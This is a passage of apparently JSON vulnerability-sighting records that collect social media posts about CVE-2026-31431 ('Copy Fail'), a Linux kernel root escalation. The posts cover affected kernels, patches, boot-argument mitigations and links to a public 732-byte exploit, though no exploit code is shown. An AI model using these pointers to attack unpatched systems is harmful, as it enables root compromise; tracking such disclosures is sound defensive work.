"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/derdreschi84.bsky.social/post/3mkq55flkes2g", "content": "Copy Fail #Linux Kernel Flaw Allows Local Users to Gain Root\n\nCopy Fail (CVE-2026-31431) is a Linux kernel vulnerability that allows local unprivileged users to gain root access on affected systems.", "creation_timestamp": "2026-04-30T17:27:22.813945Z"}, {"uuid": "e61d4343-1a2e-46e3-84c9-9e7b8c5d689f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mkq56enhxs25", "content": "Critical #LinuxKernel vulnerability 'Copy Fail' (CVE-2026-31431) grants root access across major distributions since 2017. Immediate patching recommended. #PotatoSecurity #Linux #Vulnerability Link: thedailytechfeed.com/critical-lin...", "creation_timestamp": "2026-04-30T17:27:51.979284Z"}, {"uuid": "58c3d55f-ef25-42ce-ba5e-d4f1fcc086aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq5ojctew2x", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T17:36:54.031232Z"}, {"uuid": "0fb4a576-9a5f-4295-a3ed-3dbb415d9959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq755f5zn2s", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T18:02:58.518756Z"}, {"uuid": "d2dfd964-b2e7-40ef-a926-71e36332e656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ciq.com/post/3mkq77seepu2m", "content": "CVE-2026-31431 (Copy Fail) is a Linux kernel privilege escalation vulnerability with a public exploit now in the wild. It affects Rocky Linux 8, 9, and 10.\nHere is how CIQ is responding. kb.ciq.com/article/rock...", "creation_timestamp": "2026-04-30T18:04:29.411014Z"}, {"uuid": "4fa57d31-2ee3-4fcd-8460-427aaa402d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31433", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:29:32.804184Z"}, {"uuid": "da04b6c3-b37e-43de-8aca-fda1fc93cdc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mkq7nqpalqs2", "content": "Copy Fail Linux vuln allows root access Yesterday, Theori disclosed CVE-2026-31431, dubbed Copy Fail, a Linux kernel vulnerability that allows any unprivileged local user to gain root access on v...\n\n#Commentary #LINUX\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T18:12:22.516785Z"}, {"uuid": "bc5d2ec3-8fce-4251-bf14-6c1eebae96e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mkq7pa5sr72q", "content": "The 'Copy Fail' vulnerability (CVE-2026-31431) has been silently giving hackers root access on Linux since 2017. This isn't just another bug; it's a fundamental challenge to container security. Find out how it works and why patching is\u2026\n\nhttps://www.tpp.blog/2i0m9zn\n\n#opensource #linux #copyfail", "creation_timestamp": "2026-04-30T18:13:06.894998Z"}, {"uuid": "584ac4ce-fd94-4ae6-bdf9-91e37238d8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mkq7ujxok52e", "content": "Some notes on Copy Fail or CVE-2026-31431, found by Xint Code (\nhttps://\nxint.io/blog/copy-fail\n-linux-distributions\n\u2026). This is a very stable and very straightforward exploit. It worked almost on anything I tested and in some cases,\u2026\n\n\u2014 from @craiu (https://x.com/craiu/status/2049810338577584637)", "creation_timestamp": "2026-04-30T18:16:03.739777Z"}, {"uuid": "6e96c342-9915-4ad3-b66a-98a7a4fe1019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vukinaj.bsky.social/post/3mkqbxeavm22f", "content": "Tak #update, p\u0159\u00e1tel\u00e9. \n\n#CopyFail a sledovan\u00fd jako CVE-2026-31431\n\n#Linux \n\ncybernews.com/security/cri...", "creation_timestamp": "2026-04-30T18:53:30.868666Z"}, {"uuid": "4bb6f500-376f-48c2-805c-3663298354ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mkqcfbtk7v2x", "content": "CVE-2026-31431: The 732-Byte Linux Rootkit That Hid for 9 Years \u2013 Update Now! +\u00a0Video\n\nIntroduction: A recently disclosed Linux kernel vulnerability, CVE-2026-31431, allows any local user to gain root access using a mere 732-byte Python script. This flaw has remained undetected in all major Linux\u2026", "creation_timestamp": "2026-04-30T19:01:15.769263Z"}, {"uuid": "91cd157d-aed2-4fd5-a9ab-fb56315cc33d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3mkqdbcrscg2o", "content": "A critical Linux kernel vulnerability (CVE-2026-31431) allowing local privilege escalation, introduced in kernel 4.14, has been fixed in versions 6.18.22, 6.19.12, and 7.0. Older long-term kernels are still vulnerable as the fix does not apply cleanly.", "creation_timestamp": "2026-04-30T19:16:53.240764Z"}, {"uuid": "a4494b32-9a9a-49ff-8934-edd693964a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sinologic.net/post/3mkqebri5iq2b", "content": "Copy Fail (CVE-2026-31431): la IA encuentra un exploit de 732 bytes que da root en cualquier Linux desde 2017\n\nUn fallo l\u00f3gico en el subsistema criptogr\u00e1fico del kernel de Linux lleva casi un\u2026\n\n#copy_fail #CVE #exploit #IA #Inteligencia_Artificial #kernel #Linux #root #Seguridad #vulnerabilidad", "creation_timestamp": "2026-04-30T19:35:04.686926Z"}, {"uuid": "904ec88d-b967-4d89-8af0-50693178ba96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3mkqeqxlstc2w", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona 'Copy Fail'? El #exploit de 732 bytes que otorga acceso #Root en #Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.info.ve/2026/04/copy...", "creation_timestamp": "2026-04-30T19:43:58.426836Z"}, {"uuid": "f70233a3-0243-4f1d-adc4-b1db6fc7e0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mkqfohaqiak2", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy Fail \u0432 \u044f\u0434\u0440\u0435 Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f Copy Fail (CVE-2026-31431) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux: ...\n\n#\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T20:00:08.499549Z"}, {"uuid": "367f0b6c-7ab3-454a-bed2-72f9ddf03716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/startuphub.bsky.social/post/3mkqfscmeil2i", "content": "Together AI details how it shut down the Copy Fail CVE-2026-31431 Linux kernel vulnerability, disabling a critical crypto socket interface to protect its AI infrastructure.\n\nhttps://www.startuphub.ai/ai-news/technology/2026/together-ai-halts-copy-fail-exploit", "creation_timestamp": "2026-04-30T20:02:11.191842Z"}, {"uuid": "2bc588cc-bb75-4548-aa4e-2a175290724d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Linux-Maintainers.activitypub.awakari.com.ap.brid.gy/post/3mkqfv57ht432", "content": "AL26-009 - Vulnerability Affecting Linux - CVE-2026-31431 Introduction to Malware Binary Triage (IMBT) Course Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor...\n\n#Malware #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T20:05:57.833691Z"}, {"uuid": "9e5ba3ff-d6d9-4fc4-9b9d-40c3e9adfaf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/billstatler.forum.statler.ws.ap.brid.gy/post/3mkqg2x3b4qo2", "content": "From CVE-2026-31431, the list of Linux kernel versions that are affected by the vulnerability:\n\n**affected**\n\u2022 affected at 4.14\n\n**unaffected**\n\u2022 unaffected from 0 before 4.14\n\u2022 unaffected from 5.10.254 through 5.10.*\n\u2022 unaffected from 5.15.204 through 5.15.*\n\u2022 unaffected from 6.1.170 through 6 [\u2026]", "creation_timestamp": "2026-04-30T20:10:21.399276Z"}, {"uuid": "753448e8-9718-417d-aba8-62d9c5517ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Earl.mast.john1126.com.ap.brid.gy/post/3mkqgx54jwt52", "content": "So this tiny piece of Python code is responsible for Copy Fail (CVE-2026-31431)? I am considering testing this on one of my own machines to see if the exploit actually works. If it does, I will post a follow-up to warn others.\n\n#Linux #CopyFail", "creation_timestamp": "2026-04-30T20:22:50.516015Z"}, {"uuid": "317d1820-3d2b-4a45-aa8a-8399a9bfb0e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mkqh7i4h5c27", "content": "SIOS\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d6\u30ed\u30b0\u3092\u66f4\u65b0\u3057\u307e\u3057\u305f\u3002\n\nLinux Kernel\u306e\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u306b\u3088\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027(Copy Fail: CVE-2026-31431)\n\n#security #vulnerability #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027 #linux #kernel #copyfail\n\nsecurity.sios.jp/vulnerabilit...", "creation_timestamp": "2026-04-30T20:27:29.904828Z"}, {"uuid": "7ad0e2e9-677f-43fe-bf0c-23e45d533f34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ercanceviz.bsky.social/post/3mkqi3qbo7e2k", "content": "Linux\u2019ta Y\u0131llard\u0131r Kapat\u0131lmayan A\u00e7\u0131k Tespit\u00a0Edildi\n\nLinux \u00e7ekirde\u011finde ke\u015ffedilen Copy Fail (CVE-2026-31431) g\u00fcvenlik a\u00e7\u0131\u011f\u0131, yerel kullan\u0131c\u0131lar\u0131n root yetkisi almas\u0131na neden oluyor. Detaylar haberimizde.", "creation_timestamp": "2026-04-30T20:43:14.911726Z"}, {"uuid": "3fc67bf7-9116-4dcb-ab88-81c6f5977aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mkqibwl63k2m", "content": "TeamPCP trojanises 4 SAP npm packages, scrapes CI memory for cloud/GH secrets. Dormant backdoor in 70K WP sites. Linux LPE CVE-2026-31431. Qinglong RCE drops cryptominers ITW.\n\nFull brief: intel.overresearched.net/2026/04/30/c...\n\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-04-30T20:46:43.820499Z"}, {"uuid": "2ddf31d1-9d86-43a2-a434-44fbd83ddfc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/koshian.bsky.social/post/3mkqifqjlof26", "content": "\u3046\u30fc\u3093\u3001PoC \u307e\u3067\u516c\u958b\u3055\u308c\u3066\u3093\u306e\u304b\u3002\u30ed\u30fc\u30ab\u30eb\u304b\u3089\u6a29\u9650\u6607\u683c\u3067\u304d\u308b\u3060\u3051\u3060\u304b\u3089\u76f4\u3061\u306b\u5f71\u97ff\u306f\u306a\u3044\u306e\u304b\u3082\u77e5\u308c\u306a\u3044\u304c\u3081\u3061\u3083\u304f\u3061\u3083\u6016\u3044\u306a\u3002\u307e\u3042\u3046\u3061\u306f\u4f7f\u308f\u308c\u3066\u306a\u304b\u3063\u305f\u306e\u3067\u5f71\u97ff\u306f\u306a\u3044\u3060\u308d\u3046\u304c\u5bfe\u7b56\u3057\u3066\u304a\u3044\u305f\u307b\u3046\u304c\u3088\u3055\u305d\u3046\u304b\n\n\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01", "creation_timestamp": "2026-04-30T20:48:51.115736Z"}, {"uuid": "f73dfb46-ac68-487a-8664-119b644b3875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31450", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:30:40.607036Z"}, {"uuid": "7e657e60-427a-466b-a2ab-230eb08e9de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/feilong76.bsky.social/post/3mkqjrylosc2f", "content": "\u201c\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01\u201d htn.to/2xkDgYxA9M", "creation_timestamp": "2026-04-30T21:13:41.161124Z"}, {"uuid": "eb0ae852-2cc9-4655-8a4a-3bfab9a23d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mkqjui6enr42", "content": "Nine-Year-Old Linux Kernel Flaw Grants Unprivileged Users Full Root Access CVE-2026-31431 \"Copy Fail\" \u2014 a 732-byte Python script gives unprivileged users root on Ubuntu, RHEL, Amazon Linu...\n\n#TIGR #vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T21:15:04.064055Z"}, {"uuid": "1e0cf326-df53-4b4b-beb3-4b972c72174d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/master-sdl.bsky.social/post/3mkqkwv53qs2x", "content": "\u2757 Si vous administrez un PC sous Linux, toutes les distributions seraient concern\u00e9es par la CVE-2026-31431 (Local Privilege Escalation)\n\n\u2192 consultez ces recommandations :\ncert.europa.eu/publications...\n\n\u2192 rappel : mettez r\u00e9guli\u00e8rement \u00e0 jour votre syst\u00e8me pour b\u00e9n\u00e9ficier des mises \u00e0 jour de s\u00e9curit\u00e9", "creation_timestamp": "2026-04-30T21:34:16.878818Z"}, {"uuid": "1b3033bc-077b-470b-9feb-acc92ef9d203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-copy-fail-getting-root-major-linux-distributions-patch-immediately", "content": "", "creation_timestamp": "2026-04-30T12:50:07.000000Z"}, {"uuid": "ec89ef41-70a0-4075-89ff-8985a1b01e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dustymabe.fosstodon.org.ap.brid.gy/post/3mkqlqc6nosy2", "content": "The fix for CVE-2026-31431 (copy fail) has been released for Fedora CoreOS:\n\nhttps://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/message/AEZV7QKPNXGECMYQO4T4W5IQR4X5B62F/", "creation_timestamp": "2026-04-30T21:49:14.587099Z"}, {"uuid": "1e114e9d-d204-4bfa-9419-9f294eac2609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/johonotodai.bsky.social/post/3mkqlxoh7qs2c", "content": "\u305f\u3063\u305f732\u30d0\u30a4\u30c8\u306ePython\u3067Linux\u30b5\u30fc\u30d0\u9665\u843d\u30029\u5e74\u9593\u8ab0\u3082\u6c17\u3065\u304b\u306a\u304b\u3063\u305fCVE-2026-31431\u306e\u6b63\u4f53\n\n732\u30d0\u30a4\u30c8\u306ePython\u3067Ubuntu\u3001RHEL\u3001SUSE\u306eroot\u304c\u53d6\u308c\u308b\u6df1\u523b\u306a\u5185\u5bb9\u3067\u3001\u767a\u898b\u8005\u306fAI\u652f\u63f4\u30c4\u30fc\u30eb\u3067\u308f\u305a\u304b1\u6642\u9593\u3067\u898b\u3064\u3051\u305f\u3068\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002\n\nyoutu.be/XW01k5tT--0\n\n#Linux #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #AI\nCVE-2026-31431 details.", "creation_timestamp": "2026-04-30T21:52:38.586916Z"}, {"uuid": "a22930ce-38d9-47cc-b673-bdc3b865ba58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dailyzenntrends.bsky.social/post/3mkqmeaaaum27", "content": "\u4eca\u65e5\u306eZenn\u30c8\u30ec\u30f3\u30c9\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027CopyFail (CVE-2026-31431) \u306b\u3064\u3044\u3066\u306e\u89e3\u8aac\u8a18\u4e8b\u3067\u3059\u3002\n\u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u6c5a\u67d3\u3059\u308b\u3053\u3068\u3067\u3001\u5bb9\u6613\u306broot\u6a29\u9650\u3092\u596a\u53d6\u3067\u304d\u308b\u3053\u3068\u3092\u5b9f\u8a3c\u3057\u3066\u3044\u307e\u3059\u3002\n\u30c7\u30a3\u30b9\u30af\u4e0a\u306e\u30d0\u30a4\u30ca\u30ea\u306f\u66f8\u304d\u63db\u308f\u3089\u306a\u3044\u305f\u3081\u691c\u77e5\u304c\u56f0\u96e3\u3067\u3042\u308a\u3001\u78ba\u8a8d\u306b\u306f\u30ad\u30e3\u30c3\u30b7\u30e5\u3068\u30c7\u30a3\u30b9\u30af\u306e\u30cf\u30c3\u30b7\u30e5\u6bd4\u8f03\u304c\u5fc5\u8981\u3067\u3059\u3002\n\u5bfe\u7b56\u3068\u3057\u3066\u65e9\u6025\u306a\u30d1\u30c3\u30c1\u9069\u7528\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n", "creation_timestamp": "2026-04-30T21:59:35.500778Z"}, {"uuid": "632ac286-ac3a-44a4-8a52-2ac389542005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31452", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:31:53.960720Z"}, {"uuid": "6fdba4cd-7300-4ed7-a77b-c9aec04f68ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31464", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:33:38.038663Z"}, {"uuid": "45264670-c4b1-47ae-a193-67e450a1b050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mkqnqtnoc227", "content": "CVE-2026-31431 \"Copy Fail\": a logic bug in the Linux kernel lets any local user get root on Ubuntu, RHEL, Amazon Linux, and SUSE since 2017.\n\nRead Details - www.cyberkendra.com/2026/04/a-73...\n\n#linuxsecurity #ubuntu #security #CopyFail #INTERNET", "creation_timestamp": "2026-04-30T22:24:38.482633Z"}, {"uuid": "d275dea8-8d01-4b97-88e5-591f371365fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/insomnia.gr/post/3mkqosppdke25", "content": "\u039a\u03c1\u03af\u03c3\u03b9\u03bc\u03b7 \u03b5\u03c5\u03c0\u03ac\u03b8\u03b5\u03b9\u03b1 (CVE-2026-31431) \u03c3\u03c4\u03bf kernel \u03c4\u03bf\u03c5 Linux \u03bc\u03b5 \u03c4\u03b7\u03bd \u03bf\u03bd\u03bf\u03bc\u03b1\u03c3\u03af\u03b1 Copy Fail, \u03b5\u03c0\u03b9\u03c4\u03c1\u03ad\u03c0\u03b5\u03b9 \u03b1\u03c0\u03cc\u03ba\u03c4\u03b7\u03c3\u03b7 root, \u03bc\u03b5 \u03b5\u03cd\u03ba\u03bf\u03bb\u03b7 \u03b5\u03ba\u03bc\u03b5\u03c4\u03ac\u03bb\u03bb\u03b5\u03c5\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03b1\u03bd\u03ac\u03b3\u03ba\u03b7 \u03ac\u03bc\u03b5\u03c3\u03bf\u03c5 patch. www.insomnia.gr/articles/ope...", "creation_timestamp": "2026-04-30T22:43:28.338162Z"}, {"uuid": "0840882a-fe3a-45aa-a3af-9ca6c46f330e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gullevek.famichiki.jp.ap.brid.gy/post/3mkqow7q6yml2", "content": "Copy Fail \u2014 CVE-2026-31431 https://copy.fail/\n\nAs usual it is so hard to find out if the mainline kernel is already patched or not.", "creation_timestamp": "2026-04-30T22:45:34.993937Z"}, {"uuid": "d0ca1c1f-e0da-4044-a4b9-53c653e03b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116496097678724677", "content": "Unlike what the buffoons at Theori published as a \"mitigation\", the folks at Red Hat actually published a viable mitigation\nSpecifically, edit your grub (or whatever you use to load your kernel) to have one of the following arguments:initcall_blacklist=algif_aead_initinitcall_blacklist=af_alg_initinitcall_blacklist=crypto_authenc_esn_module_init\nWith such boot arguments to the Linux kernel, the affected bits won't be reachable.", "creation_timestamp": "2026-04-30T22:49:42.453931Z"}, {"uuid": "0b37afe0-1da9-4a42-92b4-9ded6a0dde38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bricebowl.bsky.social/post/3mkqqu4xrlc2n", "content": "The Ubuntu situation is wild:\n\u2022 Ubuntu posts guidance on CVE-2026-31431\n\u2022 Official mitigation fails if ran verbatim\n    - Delimed string argument with non-deliming quotes (double left/right - U+201)\n   - Redirects sudo output to protected file (Won\u2019t work unless you\u2019re root)\n\u2022 Gets DDoS'd \ud83d\udc80", "creation_timestamp": "2026-04-30T23:20:07.020648Z"}, {"uuid": "0296a9e9-be56-430c-ba87-7cc0f97c26e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/techpresso.bsky.social/post/3mkqri5dvnl2t", "content": "The flaw (CVE-2026-31431) stems from a logic bug in the kernel's cryptographic template, and a publicly available 732-byte exploit makes it highly reliable to execute. Major distributions have begun shipping patches.\n\nSource: BleepingComputer", "creation_timestamp": "2026-04-30T23:31:14.694369Z"}, {"uuid": "21b738e0-5633-4e9b-ba7e-fc71d7ca5a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ercanbrack.mastodon.online.ap.brid.gy/post/3mkqrxi4heba2", "content": "No official announcement yet, but Copy Fail (CVE-2026-31431) has already been fixed in the Fedora kernels: 6.19.12. According to Red Hat / Fedora kernel tracking, \"all current Fedora branches are already at or beyond kernel 6.19.12.\n\nTL;DR - If your Fedora system is fully updated, you are [\u2026]", "creation_timestamp": "2026-04-30T23:44:13.790019Z"}, {"uuid": "22695219-6d7b-4fff-bac6-8b00f2445f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fpga-riscv.bsky.social/post/3mkqsrl7mao2a", "content": "CVE-2026-31431: How 4 Bytes Turn a Linux User Into\u00a0Root\n\nIntroduction A new Linux vulnerability is making waves for one 